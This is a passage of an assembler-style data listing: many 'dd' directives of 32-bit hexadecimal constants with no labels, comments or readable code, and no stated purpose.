0A141D8BAh, 5426317Ch dd 91E970FFh, 9FF51A5Fh, 0F686F60h, 75D961B8h, 8AA58CC5h dd 13583EFFh, 28BA5DC7h, 5B5FDAB7h, 43DE80E8h, 0FA87E9EAh dd 0CC032C4Eh, 99C1E180h, 0C9466F1h, 52208EBCh, 0CF814701h dd 179A5A86h, 9BA8C30h, 11A2697Fh, 0DDEFA95Dh, 0C60092EBh dd 0C4806CB4h, 0C6E7309Dh, 0CF94209Ah, 0DA35C277h, 0F4FB0E45h dd 4A13CB4Fh, 12EA6834h, 5948082Dh, 0F6A91C30h, 30D17BE0h dd 5216CD5Bh, 0C195CAB2h, 71F1A8E1h, 7CBAC150h, 0E1C2450h dd 0BC70025h, 8C2DDEAFh, 9C52858h, 0D31D4FE9h, 0A2C198CAh dd 73DEFD7Fh, 4FF7FE2Fh, 5F34BFC1h, 17FE2D15h, 7F5233E9h dd 0F8B356AAh, 7CE2B7C0h, 36FB8287h, 0A9F35Dh, 5E28B005h dd 8409B850h, 0DC37BC6Fh, 92CD3828h, 66035669h, 5092585Bh dd 0B99D515Dh, 5DAE3F09h, 0DC03E1F4h, 0FBA251C0h, 4C05D0E8h dd 0FC985F64h, 72D2863h, 1B60536Ah, 19C12889h, 0F9784E1Ah dd 599BCE4Fh, 266512E4h, 0B1AA6495h, 21EF3BA2h, 0A5AC964Ch dd 32DEF8E5h, 5F7A225Eh, 0B07262F2h, 2953771Eh, 970C2023h dd 0D580354h, 26929233h, 2C2515Fh, 610E6527h, 0E949E0DFh dd 2F159E94h, 0F04CD7B2h, 0AADFE913h, 5917A1F3h, 12BCBD1Fh dd 0D8AE8032h, 0BA2D68A3h, 25149841h, 96559566h, 0AF7A9D91h dd 67C3E32Dh, 741A25F9h, 87EBA355h, 7A6B182Fh, 0CFD2ED03h dd 0F22B0581h, 8048271Fh, 4ABD2DC9h, 29100AE3h, 280705D0h dd 0D99F30BDh, 0FD27EEC3h, 60EAD72Dh, 1DD32D1Bh, 401ECF48h dd 17C91145h, 583F7705h, 0A0F1CF67h, 11CA0707h, 7E391BA2h dd 485CA554h, 9AF6EF42h, 0FBC6508Ch, 0DE2880D7h, 556927FCh dd 2BC05FACh, 225D843h, 0E66150D0h, 91C98FBh, 856184Ch dd 51BF80DDh, 0CB37B1E9h, 779C2C1h, 6436590Bh, 1608201Ch dd 17A9BF4Eh, 389FB44Ah, 74DA4E41h, 132D0203h, 80095883h dd 4CFBC3ADh, 82256A54h, 7B2F0221h, 5CDC348Ch, 0C6E1C92Fh dd 76482AE8h, 10F6062Dh, 40B3356Ch, 7F4ADF09h, 750570Ch dd 52410882h, 66B802C6h, 29C14AADh, 4CD16ADCh, 0E03CF947h dd 1525508Fh, 5909A43Fh, 26E33C5Bh, 8FBA114h, 13998384h dd 747B04BBh, 0EBD19843h, 529D9B5Bh, 0ED2CBA2Eh, 0DC422EEEh dd 0A1701228h, 0D3FC6A56h, 8623ACB4h, 3E29F5C5h, 32946DEAh dd 0A509D735h, 358E6022h, 80B1CDAh, 67882400h, 76900ACAh dd 488B859Fh, 7760D141h, 5FD94233h, 0D4CAEF01h, 0CC11E06h dd 41B91D6Fh, 73FA2800h, 0F6E255h, 505DEDCEh, 0E4C83E61h dd 86EA993Bh, 5B0603E4h, 0D5C0B406h, 14840F8h, 45A2028Ah dd 829D2F5h, 7AF01E9h, 0DA011A5Ch, 58160808h, 128DCEEFh dd 0EF9C6913h, 0D86564D5h, 0D8FDAF5Dh, 0FBCF5E7Bh, 0CB60194Eh dd 0D14FA04Ch, 0C9C57C3Fh, 2D750CDh, 5777B796h, 5667F55Ch dd 0D790D4B2h, 6CDF733Ah, 0C17FEF46h, 8125DD12h, 0CD97BA1Eh dd 0B03BFD56h, 0E297F3E8h, 0DB59D7BAh, 8279CBEBh, 69680114h dd 55D766Dh, 11C15C6Bh, 4DFB0EAh, 0A2D187B5h, 0CC39FECh dd 53DE44F8h, 5610C60Ch, 0A20B19E3h, 6A02A51Ah, 75093520h dd 4C2791D3h, 1CDC20A9h, 0DDE3D125h, 26603501h, 7DF06BD6h dd 6DD0BD5Bh, 71D4859Dh, 0CD4F42A2h, 213319Ch, 5D58FDA0h dd 0CD09F99Fh, 61A83B36h, 54E997D2h, 8C2D8058h, 3748C906h dd 0E9460927h, 0F5CDE82Eh, 6A5B0555h, 0E6EE0132h, 32AF4B07h dd 0A5DCD0B2h, 0C3895A04h, 0E84A0ACBh, 0CC2B841Dh, 75D80907h dd 5B0CE0ABh, 0AB795A5Eh, 0FD6AC6FDh, 0B6E8E5ADh, 96853C0h dd 6A5A9906h, 0EBC1E0B2h, 0CE75B748h, 6AE7977h, 0A06904E9h dd 6F76B904h, 81BB3B3Fh, 0C2A13A05h, 792AE15Dh, 0CB9FF74h dd 63247EACh, 581DE124h, 0C98732D4h, 56A040B8h, 93286568h dd 4C850F34h, 27FA0457h, 12BE1EC4h, 2BF3E23h, 0ED685D60h dd 60D4F457h, 370F3542h, 0DFB2121h, 3E2453F3h, 7AD94BBEh dd 0CEDF0FE2h, 7C0C2EB8h, 25C1A257h, 0CB221C56h, 0DD098FD3h dd 78D1A080h, 4B127337h, 81AF387h, 1A427D08h, 64C5280h dd 94A516Bh, 27E207C3h, 42F89B96h, 0B0556D20h, 3AB13F01h dd 52504B25h, 0F9C0392Fh, 0DB54CBF7h, 0D4EEFE71h, 8C21886Ch dd 0B51F801Fh, 0DB2CCE8Bh, 0E0DCA5E3h, 0ACA8DABFh, 4044D98Fh dd 97D0ECA2h, 0AF9DD4FAh dd 0E520ABCDh, 82323DC8h, 65130CE0h, 0CA951252h, 0B5080AB0h dd 0AD44D017h, 5EBBF9F6h, 961ACB2Fh, 0B12204EAh, 7C55BEFBh dd 868449AFh, 2C461635h, 9C560C7h, 0BF4B97C3h, 3102AC7Ch dd 750E6468h, 0E9308A5Ah, 9FB94D36h, 2F4247Bh, 22200236h dd 0DE7E235Bh, 0A21FE000h, 0C1D9F724h, 3F66791Eh, 0E8EDF991h dd 676F4F78h, 9E37A00Ch, 4E8BE943h, 113EB45Eh, 0E584B2B4h dd 0F50450B8h, 5301AE52h, 9A69E9EFh, 23C9AE07h, 8216F0DDh dd 0BC71DFC1h, 22FF6C62h, 0ADC6CB31h, 174A652Ch, 982F7440h dd 0D7F7285Ah, 4817702h, 0C347C2BEh, 0A380AF89h, 0B5C0E9DAh dd 119A42E8h, 8AEC5481h, 5416D418h, 0CA5F2977h, 4BFB1EEEh dd 2AF89974h, 0C0B5BEB2h, 800D14CDh, 704A7F68h, 0E5C0D9ECh dd 0BB610C48h, 0E90BE161h, 0CE6F2D95h, 6FC44A36h, 4E0FDA01h dd 2330DCC5h, 8D515A5Bh, 72F48AC6h, 0F2A5B04Ah, 6790201Ch dd 8B32E8B0h, 0C0E65117h, 0DA8AEAA8h, 0F9DD9673h, 14B65853h dd 1233C5BDh, 0BC8717F0h, 0C3F95B50h, 0A2B0593h, 316B88DDh dd 8977114h, 6AEC51D7h, 73E77B0h, 4232ED60h, 7A57B9F7h dd 20530570h, 0C6E92AFBh, 0C6054589h, 23B178BFh, 217D4FEh dd 0BA71E908h, 84F7E72h, 0C16010B5h, 0D5D2049Ch, 0BB59CE29h dd 0D82ECE2Dh, 22AE9EDh, 314AA568h, 790799EFh, 7AD18051h dd 3F718F3h, 72A00DD8h, 0E03199Fh, 3A33F435h, 1EC6A849h dd 473E483Ch, 0C75DA500h, 61E78117h, 3B4D5605h, 0D556F9E9h dd 0FE02031h, 0B52A9C49h, 0AA034426h, 0EA0932D4h, 60F14260h dd 240D9F41h, 0C00B2C38h, 334E1605h, 0F9014C75h, 291D0858h dd 7412DD8h, 0CCE66FE9h, 4315941Bh, 5E00E58Eh, 0FA65B0B8h dd 0A0E8C102h, 203E0ADh, 0D1B63540h, 0BF585FFDh, 0D0D4DA80h dd 8968BE16h, 0E9A191AFh, 5DE742Ah, 3DB2569Fh, 7DD8C125h dd 4B34D99Dh, 23277E6Ch, 62AD5454h, 20551557h, 0A34E9EF8h dd 68216966h, 39AA2600h, 0ACB80C18h, 42550225h, 93C8F591h dd 5125313Dh, 15E75DE4h, 8734D525h, 0C5FFE94Eh, 0E9CAEAABh dd 5D953532h, 0D8C473E2h, 8BF32918h, 9F38F6B7h, 0DB27EC66h dd 0DC2A686Ch, 415E8143h, 1414B0Fh, 736ADDF7h, 40B41B7Ah dd 60FAACFh, 8AE79018h, 8B60DFD6h, 0BE07BD55h, 0C12C1B56h dd 450282DBh, 49FE20E3h, 81015310h, 27760BCDh, 14414D50h dd 80003BA8h, 594B11C3h, 4B68C4CCh, 31DF8D57h, 8BD9A749h dd 0D3A9D5B2h, 0B90A7A4h, 0C2D5715Dh, 0E92202C6h, 25CF7E73h dd 5D276B67h, 5182B1E5h, 5DE0D4E9h, 374EB846h, 3BC55C4h dd 949430A9h, 0E922FD81h, 1B02580h, 5F12142Dh, 350143DAh dd 329248C2h, 69B0B32Eh, 31F89048h, 0AA1C9757h, 3B2AE3B0h dd 5A90E829h, 36D1F607h, 9BD2D740h, 0D680144h, 4C57733Bh dd 608D1080h, 0A54F0A48h, 648FEC28h, 80E690B5h, 0F5AB4CEAh dd 33E7742Dh, 0E9DD8701h, 69883028h, 1A3D781Fh, 0F0A561DEh dd 0C1D35F95h, 7B46A216h, 4A7435B3h, 5D02D050h, 7D1FCE57h dd 5453FE89h, 8B34A3C4h, 713B6BFh, 58E48004h, 0D03BEC37h dd 0CA280FE1h, 8ACB5966h, 0A738EED8h, 35EA5A4Ah, 60C1EA5Ah dd 6C56DB26h, 77E5A21Bh, 8A279EDAh, 0BED3A099h, 90724264h dd 0D980092Fh, 0FB58A63Bh, 418D5101h, 0B850F301h, 58C30850h dd 1F7BBD5Eh, 0F955F8C2h, 0AD253CE1h, 0D3777309h, 5787C255h dd 0A03B6C77h, 0BC5170F7h, 54505031h, 7E32AE7h, 0C21B0193h dd 0F0375246h, 0DD3BEEFh, 0BB5D16AAh, 6B75F7CBh, 3E55640Eh dd 943EC6A7h, 0F1050D73h, 0C1400E49h, 45709684h, 9F5EF021h dd 35AFE5C8h, 59B6D495h, 70452C68h, 0E1E0B3B5h, 0CC2A5C6Bh dd 0DE52083Ah, 314905DFh, 0D4FB1183h, 0B60817F9h, 0E9EE505Fh dd 0E165AB30h, 168F6857h, 4413D15h, 117A08Ah, 0FBF05BBDh dd 4CEAF342h, 41F89D20h, 6BBB531Dh, 29410EC4h, 4FF033B1h dd 7CDE3B0Ah, 6E86C204h, 46EAD7FDh, 709F5C7Eh, 0D5213B08h dd 0D0A60C92h, 0F8167143h, 0B12D4C7Bh, 2B8A99B9h, 0AD5FC128h dd 0A1A4C42Ah, 3676BF00h, 89972BECh, 0E29789BBh, 0FCE1FDFFh dd 0EC1B3159h, 0D19D11C0h, 0CB1A0896h, 0A610572Fh, 4232D2F7h dd 834251h, 685BFDBDh, 0EA29C50Eh, 5DF9AB5Dh, 2F3E9166h dd 4F19965Bh, 0E7F691EAh, 3EA7F9E3h, 5FC35202h, 0FBEFC30Dh dd 902BC018h, 0FEFD7B01h, 176F7AEDh, 0F1293616h, 808044Dh dd 571DAE84h, 91E1B996h, 5EB3C878h, 18C42219h, 0D8DDDFC5h dd 784CFA6Ch, 0A514102Ch, 0DF2809FFh, 43852B10h, 0E42D6A9Ah dd 70B7DE06h, 0D582C411h, 17D8BE2h, 0C71C6E13h, 75EA9F25h dd 30F1F550h, 6140FF38h, 0B4F30180h, 5103E3C0h, 5C5FC2B1h dd 68C90384h, 972E79E9h, 0CB805989h, 1661527Fh, 5E313C1h dd 40AFC50h, 2DF45E78h, 5F8BC1C3h, 2F9AC8Bh, 0BCE842F6h dd 0BD25C01h, 9BDF336Bh, 1E1225C8h, 6272E874h, 667E02E7h dd 6578FC3Ch, 5B98D271h, 574BAAF1h, 4C20EA34h, 35C6971Fh dd 0F205790h, 0CF292C76h, 0ECC3130Dh, 0C6BBA2A9h, 87F3258Ah dd 748C4D2h, 308513E3h, 42102EB8h, 0C0AB4A37h, 4135EF9Fh dd 0CC5B162Dh, 0D2FD339Ch, 0F9835866h, 60D128F9h, 4597F8B1h dd 167524BEh, 0C4CDB8BBh, 0BA136F05h, 6C41231Eh, 6D0C2D40h dd 923F77D5h, 0E6EAA442h, 0C00EC25Fh, 2F30E498h, 0B303574Ch dd 21A1BEEDh, 0D423A534h, 2ABB0CDEh, 7C09F785h, 2251E477h dd 0FA4C3F59h, 3D560B4Ah, 150433A1h, 0F0280716h, 5F829772h dd 0D0E221ABh, 0E4D960F7h, 2FE13CBFh, 0DF484B7h, 2028B01Fh dd 4F9BB1D0h, 0AAD084E7h, 0BCD6ACF6h, 0E7C082E8h, 77295202h dd 7AB88178h, 85418AFCh, 503BB67Bh, 551643E0h, 0F8A907DCh dd 0C3660841h, 7D14B44Ah, 0B4667440h, 0E05A3AFEh, 0B8A7E4Bh dd 0A1E16CD4h, 5F02284Fh, 0B3F61AE6h, 31AF72BDh, 95156BA6h dd 31DD2248h, 3C3B5A02h, 32E9C204h, 44FC25Fh, 54A94EF8h dd 0DCE5B0D3h, 76E55402h, 0F8D9E95Dh, 0F1293FA2h, 4E3D4CE0h dd 58605E04h, 4A675710h, 58CABD28h, 0D20C080Ch, 5DBD2C13h dd 4BB699BBh, 16474CCCh, 9F0F71BFh, 6ACFA07Fh, 9016311Ch dd 0EC227719h, 7C558902h, 8013243h, 946C4833h, 7C794C4Ch dd 27773068h, 0F76A89DDh, 0E9063B47h, 52F23C5h, 0B255E3E5h dd 0EDF0FA52h, 0EB4BBD33h, 2156B6D1h, 0B9B76E47h, 0AC3C407Eh dd 130A2C3Ch, 24EB4A40h, 26BF04ADh, 0C9FE072Eh, 0F5697029h dd 2E75EBCCh, 1194CB28h, 5CCA60E6h, 9D5E5456h, 8F7428DFh dd 0B45FC287h, 0B945FEF9h, 1F377585h, 0D0808819h, 0BE3A9B41h dd 4E811010h, 368BE9F3h, 217903A9h, 4E925966h, 0C73274B5h dd 0FD5F1122h, 0B7D47F68h, 0B8E90802h, 925CC0Bh, 174A356Bh dd 4948055h, 984CAA20h, 586C7DDFh, 0BF0021EAh, 2D7B0666h dd 1027150Eh, 2080545Eh, 1143F907h, 20CE3E9h, 97C7BB60h dd 38F892F4h, 0F2794227h, 5FE5EE0Eh, 0A3815BA0h, 0E7650E40h dd 66055E17h, 7504640Bh, 2CF8DB60h, 1E14063Bh, 420B2EF2h dd 39185C20h, 0C094F7B4h, 4FEBC7EEh, 0E26ECD25h, 0D73A7584h dd 5A1B8540h, 2935AD16h, 0E4022FA9h, 4365FD0Ch, 5E8CF61h dd 2EF124D9h, 49967DE2h, 4C538390h, 10F74CAAh, 0BD2E450Ah dd 3DB900C2h, 4BFFF581h, 0F3FF60BFh, 9C22BFC8h, 35003A4Ch dd 0E4382449h, 6E001C1h, 0BDC99305h, 0F5A22F77h, 0F13AE912h dd 0B4EF2C0Ah, 1A5A8EFAh dd 0D630072Ch, 9E15EF96h, 0DB3F4151h, 0FBB94F03h, 8DE94498h dd 842DF995h, 0AC7D5568h, 3237C42Ah, 205FF340h, 0D14A1AB5h dd 8603F1F8h, 0E939A248h, 0C67D4092h, 3B6B01B7h, 160547F7h dd 2975C42Ch, 71A8F05Eh, 0E91002B4h, 1CDD2E8Bh, 0B51C7C05h dd 0A448A779h, 9C21A446h, 18F28B7Eh, 0B881347Bh, 0A5D9816Fh dd 81DCD730h, 2FE0415Fh, 25CD729Ah, 75F81832h, 88C6BD06h dd 0AEF1038Bh, 0DA242AA0h, 3F5E608h, 5366FD88h, 5CD9EBA3h dd 236BA57Dh, 5B502A44h, 0BB9DA0CBh, 0F3BD264Bh, 13F47282h dd 4A80995Eh, 292BA80Bh, 0C808C44h, 68145958h, 0C7F87ACCh dd 0D3D2DBBBh, 99626055h, 34AD251Ah, 506B7874h, 49D00094h dd 0FE2D70E9h, 5A4A841Fh, 0ED560FABh, 83BE39C4h, 0AE2DF07Fh dd 454AF4BAh, 2F1BAC3h, 0F1121F6Ch, 0A32ED02Fh, 7A4B5D1Eh dd 0B1BDD981h, 8885CC6Bh, 0FED9C0BDh, 211994Ch, 53B575D5h dd 743780DFh, 134DCA48h, 414FCEE9h, 5B0DB9ADh, 0D9796093h dd 0DA9708FAh, 37ED05EBh, 824CB13Ah, 5E04530Bh, 14F2DED1h dd 6BBE5FF4h, 0B6540BF6h, 6C15C40Bh, 0EA3C5BFFh, 0E83A077Dh dd 285C85A1h, 0C71015EDh, 0FA306251h, 0D701F57Eh, 6BE43FEAh dd 0A1729CECh, 0A47A5808h, 36121E17h, 5921138h, 0B2A580Bh dd 0BE0C10B8h, 2A036C02h, 0B362FE5Ch, 0FE1CC921h, 4D16B7BDh dd 0E44FAC22h, 568D89A8h, 22EB3AF6h, 0B5C153AAh, 5C1282B4h dd 0DA434C68h, 37341A4h, 0AFD9D3AEh, 0D078300Fh, 4FB92612h dd 2718F508h, 4B75C28Bh, 0F428E039h, 8FE0B53Eh, 0E633E950h dd 62545647h, 8F5876C3h, 0E83226DAh, 55590CE2h, 0DEC9B1D1h dd 2710CA59h, 75D009F5h, 323CEE82h, 11655B07h, 0B20257E8h dd 5AD72097h, 0BFEE7A7Dh, 622FC8D2h, 8D9628EBh, 47A14F3Ah dd 9FDE0806h, 0B4C12C20h, 614A2947h, 0C9FC4FEh, 4DE5B08h dd 1C045AD2h, 0B7CC6F4Dh, 0E0849055h, 0C515C940h, 0F0F390F7h dd 3E5D8108h, 0BBF293B8h, 584A7EF8h, 1742B0B0h, 12F696Ch dd 60273FD1h, 0E9E07F30h, 7B0F04B4h, 0EC83E93Eh, 6852A060h dd 166A0B5Eh, 0F4D45A61h, 710B179Eh, 2C80536h, 0C34CDAE8h dd 4B13C20Eh, 8284BA3Dh, 92F77710h, 0A9D7CCEFh, 94070F7Ah dd 2FA50234h, 785A7C6Eh, 0D333A074h, 0DBD39546h, 5AF5EF99h dd 40FFCE80h, 0CF010759h, 3008C4D0h, 3C5B056h, 2C7F607Dh dd 414DDCCAh, 0D6A86150h, 1788D716h, 0BE5304EFh, 70A51420h dd 64BD3B18h, 2D3CB294h, 52C069B3h, 0B9BB43A0h, 50B581A0h dd 0ABEBD6F4h, 0E3090053h, 0E424D4A0h, 70F38818h, 39600341h dd 0AB5200ECh, 76E58108h, 6D1D9F1Dh, 3700BE56h, 0EC686067h dd 675C9E79h, 427230E1h, 830BB951h, 0DC2CE733h, 16858B30h dd 8DC339DFh, 935AB99Dh, 0BF6A80A2h, 5F002ADFh, 5548B93Ah dd 9E299A44h, 0FB5020Bh, 0C8D54CA6h, 81193E9Eh, 0FB7760B2h dd 0F202E41h, 213618ACh, 7A5C0C17h, 5F9FDD7Fh, 2FD06DA8h dd 0BCA8977h, 0D6E0DDCDh, 0E918D729h, 86480D97h, 9D23EEC7h dd 0F7806381h, 2CF8C1F1h, 43D0D7BBh, 9D40A268h, 0B92D35FBh dd 2A190276h, 521CEC91h, 7F76E901h, 0A4BA6900h, 9D319F71h dd 86987C70h, 1065CA09h, 20620FA8h, 2A0136ECh, 7B405CE9h dd 955C5C71h, 0E76A04B5h, 0F892892Bh, 3A90D746h, 0C708C997h dd 3A76F52Bh, 8D4D1CE9h, 0EA04EF5Bh, 8704A419h, 481C0D5h dd 425FCF68h, 0E08564CCh, 0E43AEBB7h, 6440B142h, 0B061B586h dd 14873B9Fh, 0B3C2D835h, 79B0774Ch, 0CCBB2186h, 0D115270Bh dd 0E95DE11Dh, 55995135h, 0BD51E15Ah, 8E96AECEh, 0F0C80197h dd 0F7787AF2h, 0C46BF27Ah, 75147F45h, 0E6086F07h, 0B071B520h dd 0FC9DBF7Dh, 64864FE3h, 4AB51936h, 0CFD68040h, 9D57A54Eh dd 7CEABA44h, 11205FBBh, 0FD37A99Fh, 0D56BDC65h, 0C1B7A98Eh dd 2F34333Eh, 49A1A5E8h, 0E18101D0h, 769B43F0h, 0C7C9043Fh dd 80095B12h, 0D0037F3Ah, 58512117h, 4AA8BBBh, 21936402h dd 559AA80h, 48392D88h, 38585D61h, 2DE5D0AEh, 0C21993F5h dd 267D5E51h, 66687867h, 28FC284Eh, 2CE2BFA4h, 220AE519h dd 95A07F31h, 0AA015FE8h, 8303304Ah, 9B293E12h, 10CBB67Fh dd 5D4C2D11h, 7D1B4A06h, 88060C4Ch, 1B84DC9h, 0EA2D4ADAh dd 685DE803h, 0B0ACBCBEh, 150798D8h, 2ADFB97h, 25325694h dd 51A585Dh, 5085FFF2h, 0C175FFADh, 66601D80h, 29624C20h dd 671010Fh, 0C2474036h, 74688E9Ah, 4B922148h, 0AD305280h dd 91D9A006h, 6B6F2860h, 1B0213E5h, 0F1BB00DCh, 631392Bh dd 3B41FAB8h, 0D6ECC021h, 89B51F90h, 0B8E352F2h, 5FB92F7Fh dd 68158F9Eh, 2085EC6h, 300A59B9h, 44067C7Eh, 0F9E2EA5Fh dd 0BC18A681h, 0EA173008h, 0CA04FC09h, 33B68410h, 2D575C1Dh dd 3BBA028h, 0BA86A01h, 12800C05h, 2918CC4h, 0A36F6850h dd 2D5D19A4h, 43DC52D5h, 0B8D1B72Bh, 78555942h, 15D79777h dd 170A084h, 1BA96DC5h, 2F1316E9h, 462547D0h, 1A39484Fh dd 5B96DE20h, 0E9A75D2Dh, 0B51E8005h, 83B509B0h, 325FD05Eh dd 185D12Ah, 0A2CDC12Eh, 8560653Bh, 6F2CE7B1h, 0DD8B99C1h dd 0DC47B7Bh, 5547B4FBh, 0A2CEE912h, 0B0B130ABh, 7976DC3Bh dd 513AED06h, 176B0BFAh, 1EAE37FCh, 2D32B295h, 0B019C8E0h dd 2988629Dh, 0A6890684h, 552CC2E5h, 32FF7D97h, 0C9E8DE67h dd 0F3101057h, 46249D86h, 3A32A1DFh, 3E609EA6h, 5BEE6851h dd 596D5617h, 251C61AAh, 63B04854h, 6218C033h, 30C9E9FDh dd 5E3B251h, 797A8284h, 6FC0EF5Dh, 603C152Ch, 4DFF0F0Ch dd 0D4BD315Fh, 0FD002FFBh, 713A37CAh, 73EA0CC1h, 0AA8CFD7Ah dd 0C175F3BBh, 0A543460Bh, 0E226A5Ch, 0CB3FA508h, 8B7D22EFh dd 6974E07Fh, 0C916D6D4h, 6BA86190h, 142EA6A2h, 0EC5B93EDh dd 90171684h, 0E8E5A08Dh, 8DB2FDEAh, 25391DDFh, 662B9975h dd 680BC268h, 3A557BBh, 4B29AFF7h, 8233D8ECh, 2A02937Ch dd 601B0A7Fh, 305CC049h, 3018694Eh, 0B5F6544h, 95BF8007h dd 317FE771h, 2112D83Bh, 5B3CFA5Bh, 5EBB0753h, 0C0788F2Ah dd 0E5193FCBh, 14B6727h, 8010C488h, 15B3147Ah, 65EFE982h dd 2639C990h, 7651765Ch, 0D7E500BDh, 2631A0Eh, 15EF0558h dd 0B74239A3h, 3430241h, 5F4A7831h, 7BCFCDB7h, 4B28FD88h dd 24C8ECF1h, 81083BC1h, 7D680487h, 0E53DAB08h, 59C12062h dd 766DE068h, 58960038h, 565D40C1h, 0C26B71E9h, 0C8B70F5Ah dd 6A1C62C1h, 6EE8A9D9h, 0B0939953h, 0E13D37E2h, 8E8B195Eh dd 78A1EB63h, 4AEAB310h, 450E257Ah, 3E58C619h, 3FABE8C8h dd 29D1FEFDh, 97319220h, 0E7FF8F89h, 55798934h, 0C9BD7FC4h dd 177AA5FEh, 0F324FF68h, 2DEA1FC4h, 0FC57E635h, 595752ECh dd 1260E94Eh, 9BD2EE3Dh, 0FA48A602h, 0F7796A31h, 1BA85C47h dd 98810E20h, 455A27A7h, 0F36082D9h, 81F3D3Bh, 0C3834B5Bh dd 7691003Dh, 6AE93553h, 0EF748257h, 0EDB2C03h, 566FE241h dd 0F221033Fh, 2184685Eh, 0CA060A9Ah, 0B8196D16h, 9EAE0904h dd 55C4570Eh, 7CFDAB4Eh, 0C829D59Eh, 0E40CED4Bh, 58E2CBFEh dd 51F42F9Dh, 0C1E02FC2h, 4C5F0AFEh, 0EC4B26ECh, 6C0B5A9Eh dd 27646753h, 9D354364h, 26DD8CFCh, 69EDA047h, 0BF57DA00h dd 1D2B7A4Fh, 0B0D7F70Ah, 0FB768D2Eh, 0ABE8714Ah, 86EF0F79h dd 29CBD3CAh, 0FEFB33D0h, 67295A05h, 40B9E23Bh, 3F5E75FDh dd 49F13FF8h, 0FFB36E5Eh dd 9B005389h, 1CD30167h, 14C1585Ah, 996C4443h, 0A406BBC1h dd 5AC88031h, 0E9491A7Fh, 0EA499FAAh, 77CA2A04h, 3A19F994h dd 3CA59356h, 8EE54D7Bh, 66E5E04Dh, 0B06CA25Fh, 29F40CC9h dd 692636B1h, 0BD5B1873h, 0E568FEB0h, 57A95C03h, 0C057552Ah dd 97E95150h, 51DC595Ah, 1E883768h, 0A492B585h, 64CA052Ch dd 0CC0BC90Ah, 0D9C05D2Dh, 3F65C7E9h, 43C35B26h, 61AB8CB3h dd 78EF4A58h, 0F63A715h, 8532FB80h, 40DC1DEFh, 28B12C58h dd 60E904C8h, 5A0E54E0h, 36FEC6E9h, 32934EC1h, 94AA660h dd 6BE28142h, 8339FC05h, 0BED74BBCh, 1D34512h, 0C1D50BEEh dd 554A0BC4h, 4EE7EE80h, 225A483Ah, 1844937h, 4377875Ch dd 0AA0581D4h, 26EE0A25h, 80E0F4BAh, 87DCF339h, 0DA2821EAh dd 5459C287h, 26DD9DECh, 40E0402Dh, 0CC0705Ch, 0B4FEB0A2h dd 14CA5829h, 88172820h, 22EC5AF1h, 2550B84Bh, 9F4CF818h dd 0EA9E5719h, 7DC1BA7Fh, 1600A82Bh, 0FB93E916h, 2EB1A0D7h dd 0B62CEBE0h, 8471CB4Ah, 0DF21D34Fh, 0FA04FACCh, 0E25ACCDAh dd 0D5A21879h, 187EF1E3h, 0C763915h, 0CE4A1D33h, 6F02A513h dd 7829EFE8h, 0F1BD5FA7h, 0F0FF1DD2h, 0E69FE44Bh, 0F15E583Dh dd 0D1F7740Dh, 594234D4h, 0FD1790FAh, 39EAF214h, 88CA2F41h dd 683A90D3h, 46BD0932h, 0E7FB37AAh, 895D4B87h, 65A19A69h dd 35B6B2D1h, 6809B865h, 0F0A9E68Ah, 0A13E0BFEh, 3368597Fh dd 0D1D7B04Ah, 3487EB8h, 5F13BF4Bh, 17860D11h, 7103EAD1h dd 97DA6814h, 0FF669CD2h, 0A124B7C7h, 0CBEC5F12h, 0D8BF0D9Eh dd 561094CDh, 2FE9B08Dh, 0BB78832Ah, 4BADD649h, 6120EE2Dh dd 3B0E6353h, 2A5AF9B8h, 0C2AB00C4h, 184102CAh, 0FC477037h dd 0C03F2A41h, 426866A8h, 926E197Ch, 0E5D50E57h, 0ACF91084h dd 1CE20710h, 3D84C981h, 27802DE3h, 67C46EE5h, 0A1350C15h dd 7B016A2Fh, 9D5AA2B4h, 10DE157Dh, 0F9092EEh, 0E76E05B8h dd 709837Ah, 64EA0D4Ah, 9C0B8B1h, 610CF22Ah, 0E0CE0189h dd 3009FB47h, 802276FDh, 7E0B5E43h, 0A20E03E9h, 593A2696h dd 78080ACh, 84353881h, 12FA0BD3h, 3544EB12h, 7B1E2B89h dd 0BA182F12h, 46B5B930h, 0B2EF5F08h, 73FC161Bh, 4CAD91EAh dd 0CA0F95A8h, 12BA4E42h, 0E38501B8h, 408F8409h, 0D530948Bh dd 625D9FA2h, 8B0802F5h, 1AB3FA14h, 465AEAE9h, 9340135Eh dd 9F3CCA2Ch, 47677D59h, 517B590h, 0B7383A61h, 69AD984Bh dd 0EC270094h, 41EB0EBFh, 1446711h, 28284CBh, 683EE908h dd 84326DDh, 424841D6h, 0C7858C88h, 95BE037Eh, 31A39761h dd 0D7D858E3h, 0E3AE215Ah, 1F2CE91Ch, 46B0F525h, 4182A7E8h dd 0A2501DFBh, 2777F7B8h, 81253A0Fh, 228E81F5h, 645A028Ah dd 462A20ACh, 4B1D86C0h, 0DF210289h, 39088C34h, 365CF6AFh dd 0C0642FD0h, 956268F9h, 80C0CE51h, 5FE931EEh, 0DE77AAB9h dd 30B1A6B4h, 0DF5AB46Ah, 425E58F4h, 0FC4B4FCEh, 62AB066h dd 0C10D0B70h, 0D16103EAh, 3FBC7F02h, 8683BA92h, 4FD59CFAh dd 5496DCEEh, 457B1C45h, 435D8855h, 521AB109h, 0D7E2CAD3h dd 0C674C477h, 2AB640B2h, 0B085F3F5h, 68055201h, 4B8406B1h dd 27382FA0h, 8E4CAD47h, 1D4A1B90h, 0DD349A9Dh, 0D6260298h dd 1319E955h, 44EF9E57h, 0F65DE902h, 905B2748h, 95C16827h dd 5854F298h, 6B3EFB9Dh, 0EC6B5A74h, 0F8692C0Dh, 9C42DBEh dd 0A884C3F5h, 36C7A429h, 9C7B18Ch, 0E540198h, 8386F87Fh dd 0D20C0508h, 0C8748B3Bh, 225D5C2Ch, 4AD513CDh, 0F9463A8Dh dd 0C9E79510h, 0FD1CD72Fh, 850BD5BBh, 6CEE0EC8h, 2D68CAF6h dd 455E6991h, 0B3EC6E2h, 9C7D598Bh, 627135E5h, 0FAE2AF25h dd 0AA21222Ch, 0EF8900AFh, 1F41055Dh, 0E9180A8Ah, 0BE3612CEh dd 2B6E1E48h, 0A1CABC6Dh, 0C1E4237Eh, 1EAB1C5Bh, 3B123937h dd 3A41E548h, 11727ECh, 5C710BF5h, 53643876h, 0A03E58A1h dd 0CDB2B12Dh, 422AE29Fh, 7944DD52h, 9D997A33h, 5C6B17Fh dd 0EBBD3C20h, 0BADFE923h, 736884A7h, 0EF73F180h, 93CDC13Eh dd 0C9FE9452h, 3AABE5FBh, 26556CCCh, 13241CBDh, 0A9310121h dd 38441E4Ch, 0D6DE10CAh, 7AD3D14Eh, 0AA8C6A03h, 13BCB41Bh dd 